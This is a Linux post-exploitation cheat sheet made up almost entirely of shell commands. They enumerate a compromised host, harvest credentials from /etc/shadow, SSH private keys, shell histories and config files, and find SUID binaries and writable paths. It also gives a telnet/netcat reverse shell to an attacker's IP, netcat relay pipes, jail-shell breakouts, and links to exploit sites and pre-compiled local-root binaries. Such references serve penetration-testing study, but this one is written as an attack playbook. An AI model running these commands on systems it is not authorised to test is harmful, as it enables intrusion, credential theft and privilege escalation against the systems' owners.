## Exploitation Commands ### Operating System - What's the distribution type? What version? ```Terminal cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release ``` - What's the Kernel version? (32,64,86-bit) ```Terminal cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- ``` - What can be learnt from the environmental variables? ```Terminal cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set ``` - Is there a printer? ```Terminal lpstat -a ``` ### Applications & Service - What services are running? Which service has which user privilege? ```Terminal ps aux ps -ef top cat /etc/service ``` - Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check! ```Terminal ps aux | grep root ps -ef | grep root ``` - What applications are installed? What version are they? Are they currently running? ```Terminal ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ ``` - Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? ```Terminal cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ ``` - What jobs are scheduled? ```Terminal crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` - Any plain text usernames and/or passwords? ```Terminal grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla ``` ### Communications & Networking - What NIC(s) does the system have? Is it connected to another network? ```Terminal /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network ``` - What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? ```Terminal cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname ``` - What other users & hosts are communicating with the system? ```Terminal lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w ``` - Whats cached? IP and/or MAC addresses ```Terminal arp -e route /sbin/route -nee ``` - Is packet sniffing possible? What can be seen? Listen to live traffic ```Terminal # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 ``` - Have you got a shell? Can you interact with the system? ```Termminal # http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! ``` - Is port forwarding possible? Redirect and interact with traffic from another view ```Termminal # rinetd # http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch # fpipe # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port `# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe` mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) ``` - Is tunnelling possible? Send commands locally, remotely ```Termminal ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig ``` ### Confidential Information & Users - Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? ```Termminal id who w last cat /etc/passwd | cut -d: # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l ``` - What sensitive files can be found? ```Termminal cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ ``` - Anything "interesting" in the home directorie(s)? If it's possible to access ```Termminal ls -ahlR /root/ ls -ahlR /home/ ``` - Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords ```Termminal cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg ``` - What has the user being doing? Is there any password in plain text? What have they been edting? ```Terminal cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history ``` - What user information can be found? ```Termminal cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root ``` - Can private-key information be found? ```Termminal cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key ``` ### File Systems - Which configuration files can be written in /etc/? Able to reconfigure a service? ```Termminal ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone ``` - What can be found in /var/ ? ```Termminal ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases ``` - Any settings/files (hidden) on website? Any settings file with database information? ```Termminal ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ ``` - Is there anything in the log file(s) (Could help with "Local File Includes"!) ```Termminal # http://www.thegeekstuff.com/2011/08/linux-var-log-files/ cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ `#auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp` ``` - If commands are limited, you break out of the "jail" shell? ```Termminal python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i ``` - How are file-systems mounted? ```Termminal mount df -h ``` - Are there any unmounted file-systems? ```Termminal cat /etc/fstab ``` - What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID ```Termminal # The following command lists system executables with elevated privileges, showing their permissions, ownership, size, and modification date. Regularly reviewing these files is crucial to identify potential security risks. find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) ``# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)` find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null ``` - Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm ```Termminal find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o+w -type d 2>/dev/null # world-writeable folders find / -perm -o+x -type d 2>/dev/null # world-executable folders find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders ``` - Any "problem" files? Word-writeable, "nobody" files ```Termminal find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files ``` ### Preparation & Finding Exploit Code - What development tools/languages are installed/supported? ```Termminal find / -name perl* find / -name python* find / -name gcc* find / -name cc ``` - How can files be uploaded? ```Termminal find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp ``` - Finding exploit code http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com - Finding more information regarding the exploit http://www.cvedetails.com http://packetstormsecurity.org/files/cve/[CVE] http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] http://www.vulnview.com/cve-details.php?cvename=[CVE] - (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk http://tarantula.by.ru/localroot/ http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/